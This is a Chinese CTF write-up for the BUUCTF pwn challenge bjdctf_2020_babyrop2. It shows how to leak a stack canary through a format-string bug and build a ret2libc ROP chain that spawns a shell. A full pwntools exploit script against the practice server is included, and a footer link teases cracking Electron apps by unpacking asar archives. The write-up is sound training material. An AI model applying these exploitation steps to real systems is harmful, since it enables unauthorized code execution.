[BUUCTF]PWN——bjdctf_2020_babyrop2
bjdctf_2020_babyrop2
步骤:
- 例行检查,64位程序,开启了NX和canary保护

2. 试运行一下程序,看看大概的情况 提示我们去泄露libc

3. 64位ida载入,从main函数开始看程序

init

gift

第9行的printf函数存在格式化字符串漏洞,可以利用这点去泄露canary的值
vuln

buf参数存在溢出漏洞,只要绕过了canary就能够利用ret2libc的方法获取shell
利用思路:
- 利用格式化字符串泄露出canary的值
- 利用溢出漏洞,将canary的值填入绕过canary检测,利用ret2libc的方法获取shell
利用过程:
- 泄露canary的值
首先找一下输入点参数在栈上的相对位置(找偏移量),之前我都是输入aaa %08x %08x……%08x这样的字符串去找偏移的,这次不可以,换了一种方法,输入%n$p,n是偏移量,配上%$p就能定位到偏移量处,输出该位置上的内容,%p是以16进制输出
最后找到偏移量是6

找个nop指令,给程序下个断点,看一下程序里栈的情况

可以看到在我们6161的下一行,有一串16进制数,这个就是canary的值,我们只要利用%7$p就能泄露出它的值,而且也看到了它在栈上的位置是0x20-8=0x18
payload = '%7$p'
r.sendline(payload)
r.recvuntil('0x')
canary = int(p.recv(16),16)
- 利用ret2libc的方式获取shell
这边打算利用puts函数来泄露libc,puts函数只有一个参数,64位传参,只要借用一个rdi寄存器即可,找一下设置rdi寄存器指令的地址

pop_rdi=0x400993
之后构造常用的泄露libc的payload
payload = 'a'*(0x20-8)+p64(canary) #填上cancry
payload += p64(0) #覆盖ebp,尝试写入了‘bbbbbbbb’来覆盖,但是在构造rop攻击获取shell的时候这样写不成功,改成了随意写一个数据覆盖可以成功
payload += p64(pop_rdi) #设置rdi寄存器的值
payload += p64(puts_got) #将rdi寄存器设置成了puts函数的got表地址
payload += p64(puts_plt) #调用puts函数,去输出puts函数的got表地址
payload += p64(vuln_addr) #程序跳转到vuln函数,继续控制,再次利用输入点的溢出漏洞
r.recvuntil('story!\n')
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
之后就是计算system函数和bin/sh字符串的地址
libc=LibcSearcher('puts',puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr=base_addr + libc.dump('system')
shell_addr = base_addr + libc.dump('str_bin_sh')
构造rop攻击获取shell
payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(shell_addr)
payload += p64(system_addr)
payload += p64(main_addr)
r.sendline(payload)
完整的exp:
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',26842)
elf=ELF('./bjdctf_2020_babyrop2')
context.log_level = 'debug'
#p.recv()
payload = '%7$p'
r.sendline(payload)
r.recvuntil('0x')
cancry = int(r.recv(16),16)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0400993
main_addr = elf.symbols['main']
vuln_addr = 0x0400887
payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)
r.recvuntil('story!\n')
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr=base_addr + libc.dump('system')
shell_addr = base_addr + libc.dump('str_bin_sh')
r.recvuntil('story!\n')
payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(shell_addr)
payload += p64(system_addr)
payload += p64(main_addr)
r.sendline(payload)
r.interactive()

[BUUCTF]PWN——bjdctf_2020_babyrop2的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
- [BUUCTF]PWN——mrctf2020_easyoverflow
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...
随机推荐
- 华为9.8笔试题C++
问题 给出一颗二叉树,每个节点有一个编号和一个值,该值可能为负数,请你找出一个最优节点(除根节点外),使得在该节点将树分成两棵树后(原来的树移除这个节点及其子节点,新的树以该节点为根节点),分成的两棵 ...
- Electron跨平台程序破解
1. npm install asar -g 2. asar --version 如果有版本号就继续 3.找到需要解压的软件位置 在app.asar的地址输入 asar e app.asar tm ...
- Harbour.Space Scholarship Contest 2021-2022 题解
多好的上分机会啊,要是换个时间(指改在 NOI 之后)我说不定就能上 2500 了(做白日梦 ing) A 签到题不多说,显然只有末尾为 \(9\) 的数是 interesting 的,因此答案就是 ...
- GWAS分析结果中pvalue/p.ajust为0时如何处理?
在GWAS分析的结果中,偶尔会遇到到pvalue为0的SNP位点,这时如果直接做曼哈顿或QQ图,会出错,因为log0无意义. 此时,该如何处理? 如果你用的是Plink1.9来做的GWAS,可加一个参 ...
- linux中conda升级R到4.0?
目录 前言 问题 曲线救国 前言 虽然我的win版本R已经用4了,但之前在Linux环境一直没用R4.0,因为Linux涉及的东西太多,担心不稳定,牵一发而动全身. 但现在有好些R包必须要用更新到R4 ...
- MariaDB——显示所有数据库列表
显示所有数据库列表:其中,information_schema.performance_schema.test.mysql,这4个库表是数据库系统自带的表,一般不放数据. 进入某个库 切换库,并显示库 ...
- Kubernetes:应用自动扩容、收缩与稳定更新
在前面我们已经学习到了 Pod 的扩容.滚动更新等知识,我们可以手动为 Deployment 等设置 Pod 副本的数量,而这里会继续学习 关于 Pod 扩容.收缩 的规则,让 Pod 根据节点服务器 ...
- javaSE高级篇7 — 设计原则和设计模式 — 设计模式慢慢更( 这是思想层次篇 )
1.什么是设计原则? 设计原则就是面向对象的原则嘛,即:OOP原则 换句话说:就是为了处理类与类之间的关系( 包括接口.类中的方法 ) 2.OOP设计原则有哪些? 1).开闭原则:就是指对拓展开放.对 ...
- abort, about
abort 变变变: abortion:堕胎 abortionist:(非法)做堕胎手术的,不是所有的ist都是scientist, "All that glitters is not go ...
- applogs流量数据项目学习
一. 项目介绍 项目的功能主要是面向App开发商提供App使用情况的统计服务 主要是基于用户启动app的统计分析,app只要启动就会上报一条日志记录 (启动日志),当然也会有其他的日志比如说页面访问日 ...